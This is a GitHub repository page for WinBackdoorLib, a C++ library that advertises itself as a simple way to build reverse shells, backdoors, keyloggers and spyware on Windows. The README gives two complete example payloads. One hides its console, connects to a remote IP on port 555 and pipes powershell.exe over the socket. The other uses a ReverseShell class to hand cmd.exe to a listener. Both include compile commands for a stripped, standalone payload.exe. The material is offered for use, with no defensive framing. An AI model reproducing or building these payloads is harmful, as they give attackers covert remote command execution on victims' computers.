Skip to content

a simple module to create "reverse shell, backdoor, Keylogger, Spyware" simply with Windows API C++ Version 0.7 Available

License

Notifications You must be signed in to change notification settings

The-Alchemist-Co/WinBackdoorLib

 
 

Repository files navigation

WinBackdoorLib

a simple Lib to create "reverse shell or backdoor" simply with Windows API

Image1

example Payload :

//compile : g++ socket_winbd.cpp test_winbd.cpp -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
#include "socket_winbd.h" //to start, we're including our header in our file.

int main() // 
{
  FreeConsole(); // hide console
  SOCKET socks; // equ int socks;
  WSADATA wsa; // equ for wsa

  struct sockaddr_in session; //we declare the structure "sockaddr_in" which will be named session

  WSAStartup(MAKEWORD(2, 2), &wsa); // startup WSA
  socks = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); // socket configuration

  session.sin_family = AF_INET; // socket Family (AF_INET)
  session.sin_addr.s_addr = inet_addr("192.168.1.20"); // set the address
  session.sin_port = htons(555); // set the port

  int c = connect(socks, session); // connect to remote host
  if (c != -1)
  {
      execute_process(socks, "powershell.exe"); // Handle Process
  }
  return 0;
}

Exemple Payload Object :

#include "reverse_shell.h"
// compile : g++ socket_winbd.cpp reverse_shell.cpp try_rev_shell.cpp -o payload.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

int main()
{
	ReverseShell rev_shell("192.168.1.27",555,AF_INET,"cmd.exe");
	rev_shell.get_config();
	rev_shell.exec();
	return 0;
}

More Payload in Documentation :

View Documentation

About

a simple module to create "reverse shell, backdoor, Keylogger, Spyware" simply with Windows API C++ Version 0.7 Available

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C++ 98.8%
  • Other 1.2%